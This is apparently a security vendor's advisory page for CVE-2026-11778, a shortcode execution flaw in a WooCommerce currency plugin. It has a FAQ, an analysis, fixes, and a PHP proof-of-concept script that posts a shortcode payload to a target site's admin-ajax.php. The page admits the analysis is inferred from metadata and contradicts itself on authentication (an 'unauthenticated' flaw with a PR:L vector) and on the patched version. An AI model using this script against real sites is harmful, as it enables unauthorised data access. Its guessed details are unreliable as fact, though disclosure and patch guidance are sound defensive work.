What is CVE-2026-11778?

CVE-2026-11778 is a medium-severity vulnerability in the CURCY Multi Currency for WooCommerce plugin (slug: woo-multi-currency) versions up to and including 2.2.14. It allows unauthenticated attackers to execute arbitrary WordPress shortcodes by sending a crafted request via the ‘exchange’ parameter.

How does the vulnerability work?

The plugin passes user input from the ‘exchange’ parameter directly to the do_shortcode() function without proper validation or sanitization. This allows an attacker to inject malicious shortcode payloads that are executed on the server.

Who is affected by this vulnerability?

All WordPress sites running the CURCY plugin version 2.2.14 or earlier are affected. Users should check their plugin version and update to 2.2.15 or later if available.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.2.14 or lower, your site is vulnerable. You can also use security scanning tools to detect the issue.

What is the CVSS score and what does it mean?

The CVSS score is 5.4 (Medium). This indicates a moderate risk with low confidentiality and integrity impact. The attack vector is network-based, requires low complexity, and no authentication, but user interaction is not required.

What is the impact of successful exploitation?

An attacker can execute arbitrary shortcodes, potentially leaking sensitive information like user emails or site configuration. Depending on available shortcodes, they might also modify content or settings. No direct privilege escalation is possible.

How does the proof of concept demonstrate the issue?

The PoC sends a POST request to admin-ajax.php with the action parameter set to the plugin’s AJAX hook and the ‘exchange’ parameter containing a shortcode like [wp_authenticate_user]. The server executes the shortcode and returns the output, confirming the vulnerability.

How can I fix or mitigate this vulnerability?

Update the plugin to version 2.2.15 or later, which likely includes input validation. As a temporary mitigation, you can disable the plugin or add a web application firewall rule to block malicious ‘exchange’ parameter values.

What is the recommended permanent fix for developers?

Developers should validate the ‘exchange’ parameter before passing it to do_shortcode(). Use a whitelist of allowed shortcodes or strip all shortcodes using strip_shortcodes(). Also add nonce and capability checks.

Can this vulnerability be exploited without authentication?

Yes, the vulnerability can be exploited by unauthenticated attackers. The plugin’s AJAX action does not require authentication or a nonce check, allowing anyone to send a malicious request.

Are there any known exploits in the wild?

As of the disclosure date, there are no public reports of active exploitation. However, the PoC is publicly available, so administrators should apply the patch promptly.

What should I do if I cannot update the plugin immediately?

If an update is not possible, consider disabling the plugin temporarily or using a web application firewall to block requests containing suspicious ‘exchange’ parameters. Monitor your site for unusual activity.

Published : July 3, 2026

CVE-2026-11778: CURCY <= 2.2.14 Unauthenticated Arbitrary Shortcode Execution via 'exchange' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-11778

Plugin woo-multi-currency

Severity Medium (CVSS 5.4)

CWE 94

Vulnerable Version 2.2.14

Patched Version —

Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11778 (metadata-based): This vulnerability affects the CURCY – Multi Currency for WooCommerce plugin (slug: woo-multi-currency) up to version 2.2.14. An unauthenticated attacker can execute arbitrary WordPress shortcodes by sending a crafted request via the ‘exchange’ parameter. The CVSS score is 5.4 (Medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N. The CWE classification is 94 (Improper Control of Generation of Code ‘Code Injection’), which indicates the plugin passes unsanitized user input to the do_shortcode() function.

Root Cause: Based on the CWE description and vulnerability metadata, the root cause is a missing validation or sanitization of the ‘exchange’ parameter before it is used as an argument to do_shortcode(). The plugin likely registers an AJAX action (probably ‘woo_multi_currency_ajax’ or similar) that handles currency exchange calculations. The code retrieves the ‘exchange’ value from the request and passes it directly to do_shortcode() without checking if the shortcode is allowed or sanitizing the input. This inference is drawn from the CWE classification and the fact that the attack vector is unauthenticated and involves shortcode execution. No code diff was available to confirm this, but the pattern is consistent with other similar WordPress plugin vulnerabilities.

Exploitation: An attacker can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to the plugin’s AJAX hook (e.g., ‘woo_multi_currency_ajax’ or ‘curcy_ajax’) and the ‘exchange’ parameter containing a malicious shortcode payload. For example: action=woo_multi_currency_ajax&exchange=[wp_authenticate_user]. The attacker does not need authentication. The shortcode executes on the server side. If the plugin does not verify a nonce or capability, the request succeeds. The attacker can use any WordPress core shortcode (e.g., to output sensitive data) or plugin shortcodes that perform harmful actions.

Remediation: The fix should validate the ‘exchange’ parameter before passing it to do_shortcode(). The developer should either restrict allowed shortcodes to a whitelist (like only currency conversion shortcodes) or strip all shortcodes from the parameter (e.g., using strip_shortcodes() or wp_kses()). Additionally, a nonce check should be added to verify the request’s origin, and capability checks should be enforced for authenticated actions. The patched version 2.2.15 likely implements one of these measures.

Impact: Successful exploitation allows an attacker to execute arbitrary shortcodes without authentication. This can lead to leaking sensitive information (e.g., user emails, site configuration) via shortcodes like [wp_authenticate_user] or [user_data]. It can also allow modifying site content or settings if vulnerable shortcodes exist. The CVSS confidentiality and integrity impacts are Low, but depending on available shortcodes, the actual impact could be higher. No privilege escalation is possible directly, but information disclosure may assist further attacks.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-11778 - CURCY <= 2.2.14 Unauthenticated Arbitrary Shortcode Execution via 'exchange' Parameter

// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress site
$plugin_ajax_action = 'woo_multi_currency_ajax'; // Inferred from plugin slug, adjust if necessary

// Exploit payload: execute a shortcode that returns sensitive information
$malicious_shortcode = '[wp_authenticate_user]'; // Can be any WordPress shortcode, e.g., [user_data], [the_field]

// Build POST data
$post_data = array(
    'action' => $plugin_ajax_action,
    'exchange' => $malicious_shortcode
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only, disable in production

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "[+] HTTP Status: " . $http_code . "n";
if ($response !== false && $http_code == 200) {
    echo "[+] Response:n" . $response . "n";
    echo "[+] If the response contains user data or other output from the shortcode, vulnerability is confirmed.n";
} else {
    echo "[-] Exploit might have failed or the AJAX action may not exist.n";
}

Frequently Asked Questions

What is CVE-2026-11778?
Vulnerability Overview
CVE-2026-11778 is a medium-severity vulnerability in the CURCY Multi Currency for WooCommerce plugin (slug: woo-multi-currency) versions up to and including 2.2.14. It allows unauthenticated attackers to execute arbitrary WordPress shortcodes by sending a crafted request via the ‘exchange’ parameter.
How does the vulnerability work?
Root Cause
The plugin passes user input from the ‘exchange’ parameter directly to the do_shortcode() function without proper validation or sanitization. This allows an attacker to inject malicious shortcode payloads that are executed on the server.
Who is affected by this vulnerability?
Affected Versions
All WordPress sites running the CURCY plugin version 2.2.14 or earlier are affected. Users should check their plugin version and update to 2.2.15 or later if available.
How can I check if my site is vulnerable?
Detection
Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 2.2.14 or lower, your site is vulnerable. You can also use security scanning tools to detect the issue.
What is the CVSS score and what does it mean?
Risk Level
The CVSS score is 5.4 (Medium). This indicates a moderate risk with low confidentiality and integrity impact. The attack vector is network-based, requires low complexity, and no authentication, but user interaction is not required.
What is the impact of successful exploitation?
Potential Damage
An attacker can execute arbitrary shortcodes, potentially leaking sensitive information like user emails or site configuration. Depending on available shortcodes, they might also modify content or settings. No direct privilege escalation is possible.
How does the proof of concept demonstrate the issue?
PoC Explanation
The PoC sends a POST request to admin-ajax.php with the action parameter set to the plugin’s AJAX hook and the ‘exchange’ parameter containing a shortcode like [wp_authenticate_user]. The server executes the shortcode and returns the output, confirming the vulnerability.
How can I fix or mitigate this vulnerability?
Remediation Steps
Update the plugin to version 2.2.15 or later, which likely includes input validation. As a temporary mitigation, you can disable the plugin or add a web application firewall rule to block malicious ‘exchange’ parameter values.
What is the recommended permanent fix for developers?
Code Fix
Developers should validate the ‘exchange’ parameter before passing it to do_shortcode(). Use a whitelist of allowed shortcodes or strip all shortcodes using strip_shortcodes(). Also add nonce and capability checks.
Can this vulnerability be exploited without authentication?
Authentication Requirement
Yes, the vulnerability can be exploited by unauthenticated attackers. The plugin’s AJAX action does not require authentication or a nonce check, allowing anyone to send a malicious request.
Are there any known exploits in the wild?
Active Exploitation
As of the disclosure date, there are no public reports of active exploitation. However, the PoC is publicly available, so administrators should apply the patch promptly.
What should I do if I cannot update the plugin immediately?
Workarounds
If an update is not possible, consider disabling the plugin temporarily or using a web application firewall to block requests containing suspicious ‘exchange’ parameters. Monitor your site for unusual activity.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started